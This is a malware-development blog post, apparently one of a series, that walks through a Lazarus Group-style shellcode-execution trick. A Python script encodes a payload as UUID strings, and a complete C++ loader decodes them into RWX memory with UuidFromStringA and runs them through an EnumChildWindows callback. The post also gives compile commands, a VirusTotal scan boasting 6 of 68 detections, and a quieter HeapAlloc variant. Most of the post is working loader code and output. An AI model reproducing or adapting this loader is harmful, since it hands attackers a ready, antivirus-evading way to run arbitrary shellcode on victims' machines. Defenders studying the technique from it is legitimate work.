
Malware development tricks. Run shellcode like a Lazarus Group. C++ example.

cocomelonc.github.io/malware/2022/07/21/malware-tricks-22.html

July 21, 2022

3 minute read

Hello, cybersecurity enthusiasts and white hackers!



This post is the result of self-researching interesting trick: run payload via UuidFromStringA and for example EnumChildWindows.

UuidFromStringA

This function converts a string to UUID:

```
RPC_STATUS UuidFromStringA(
    RPC_CSTR StringUuid,
    UUID *Uuid
);
```

Without using standard functions like memcpy or WriteProcessMemory, this function can be used to decode data as well as write it to memory.

The shellcode execution technique is comprised of the subsequent steps:

- Allocate memory via VirtualAlloc
- Use UuidFromStringA to convert UUID strings their binary format and store in memory
- Use EnumChildWindows (or EnumDesktopsA or another candidate) to execute the payload previously loaded into memory

practical example

Let's go to look at a practical example. The trick is pretty simple, similar to <u>previous</u> tricks, but with some changes specific for Lazarus Group.

First of all, we need script to convert our desired payload to UUID valid strings. Something like this (payload_uuid.py):

```
#!usr/bin/python3
from uuid import UUID
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-p','--payload', required = True, help = "payload: binary file")
args = vars(parser.parse_args())
pbin = args['payload']
with open(pbin, "rb") as f:
    # read in 16 bytes from our input payload
   chunk = f.read(16)
   while chunk:
        # if the chunk is less than 16 bytes then we pad the difference (x90)
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"x90" * padding)
        print(UUID(bytes_le=chunk))
        chunk = f.read(16)
```

As usually, I will use my meow-meow messagebox payload: meow.bin.

Run:

Since we already have our payload in UUID format, we are able to construct our proof-ofconcept code to test the following:

```
#include <windows.h>
#include <rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] = {
  "e48148fc-fff0-ffff-e8d0-000000415141",
  "56515250-3148-65d2-488b-52603e488b52",
  "8b483e18-2052-483e-8b72-503e480fb74a",
  "c9314d4a-3148-acc0-3c61-7c022c2041c1",
  "01410dc9-e2c1-52ed-4151-3e488b52203e",
  "483c428b-d001-8b3e-8088-0000004885c0",
  "01486f74-50d0-8b3e-4818-3e448b402049",
  "5ce3d001-ff48-3ec9-418b-34884801d64d",
  "3148c931-acc0-c141-c90d-4101c138e075",
  "034c3ef1-244c-4508-39d1-75d6583e448b",
  "01492440-66d0-413e-8b0c-483e448b401c",
  "3ed00149-8b41-8804-4801-d0415841585e",
  "58415a59-5941-5a41-4883-ec204152ffe0",
  "5a594158-483e-128b-e949-fffff5d49c7",
  "000000c1-3e00-8d48-95fe-0000003e4c8d",
  "00010985-4800-c931-41ba-45835607ffd5",
  "41c93148-f0ba-a2b5-56ff-d54d656f772d",
  "776f656d-0021-5e3d-2e2e-5e3d00909090"
};
int main() {
  int elems = sizeof(uuids) / sizeof(uuids[0]);
  VOID* mem = VirtualAlloc(NULL, 0x100000, 0x00002000 | 0x00001000,
PAGE_EXECUTE_READWRITE);
  DWORD_PTR hptr = (DWORD_PTR)mem;
  for (int i = 0; i < elems; i++) {</pre>
    // printf("[*] Allocating %d of %d uuids\n", i + 1, elems);
    // printf("%s\n", *(uuids+i));
    RPC_CSTR rcp_cstr = (RPC_CSTR)*(uuids+i);
    RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID*)hptr);
    if (status != RPC_S_OK) {
      printf("[-] UUID convert error\n");
      CloseHandle(mem);
      return -1;
    }
     hptr += 16;
  }
  EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
  // EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
  CloseHandle(mem);
  return 0;
}
```

Pay attention to the function UuidFromStringA. As I wrote earlier, invoking this API with a memory pointer instead of a UUID pointer will result in the binary representation of the given UUID being stored in memory.

By chaining many API requests and giving properly designed UUIDs, it is possible to load the necessary content (payload) into the chosen memory region.

And then, as a pointer to the callback function in **EnumChildWindows** we specify this memory region:

```
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
```


or another function EnumDesktopsA :

```
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
```

demo


Let's go to see everything in action. Compile our "malware":

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections -fdata-sections -Wno-writestrings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc fpermissive -lrpcrt4



and run in our victim's machine:

.\hack.exe





To make sure that our payload was really launched, you can slightly change a piece of code:

```
printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
    printf("%02X ", ((unsigned char*)mem)[i]);
}
```

Then compile again:

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections -fdata-sections -Wno-writestrings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc fpermissive -lrpcrt4





As you can see, everything is work perfectly :)

Let's go to upload hack.exe to VirusTotal:

Linux 🎓 Kali Tools 🙍 Kali Docs 🐹 Kali Forums 🤜 Kali Ne	tHunter 🛸 Exploit-DB 🛸 Google Hacking DB <u>R</u> OffSec								
003e45e65361b09fd8e372d29fbdecfb3462d9202ddf31bf386c728c9cebafa0				Q	$\hat{-}$	000	\Box	cocomelonk.	
6	① 6 security vendors and no sandboxes flagged this file as malicious		C	26					
₹ © © © © © © © ©	003e45e65361b09fd8e372d29fbdecfb3462d9202ddf31bf386c728c9cebafa0 hack exe 64bits esembly peexe	892.00 KB Size	2022-07-22 08:58:12 UTC 1 minute ago						
DETECTION Security Vendors' An	DETAILS BEHAVIOR COMMUNITY								
Cynet	Malicious (score: 100)	Elastic	Malicious (high Confidence)						
Ikarus	① Trojan.Win64.Agent	Microsoft	() VirTool:Win32/Meterpreter						
SecureAge APEX	① Malicious	Trellix (FireEye)	() Generic.mg.67ba700f42d7d60d						
Acronis (Static ML)	⊘ Undetected	Ad-Aware	⊘ Undetected						
AhnLab-V3	⊘ Undetected	Alibaba	O Undetected						
ALYac	⊘ Undetected	Antiy-AVL	O Undetected						
Arcabit	⊘ Undetected	Avast	⊘ Undetected						
Avira (no cloud)	O Undetected	Baidu	O Undetected						

So, 6 of 68 AV engines detect our file as malicious.

https://www.virustotal.com/gui/file/003e45e65361b09fd8e372d29fbdecfb3462d9202ddf31bf3 86c728c9cebafa0/detection

There is a caveat. Lazarus Group uses functions HeapCreate and HeapAlloc instead:

```
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* mem = HeapAlloc(hc, 0, 0x100000);
```

HeapAlloc is a frequently used API call for allocating heap memory. This API, as far as I can tell, allows you to allocate specified amounts of memory on the heap, as opposed to the memory blocks obtained using the VirtualAlloc API. However, according to the documentation, HeapAlloc can still call VirtualAlloc if necessary.

It also has the advantage that this API is not so suspicious.

Also Lazarus Group uses function **EnumSystemLocalesA** for execute payload.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

nccgroup - RIFT: Analysing a Lazarus Shellcode Execution Method Lazarus Group source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! *PS. All drawings and screenshots are mine*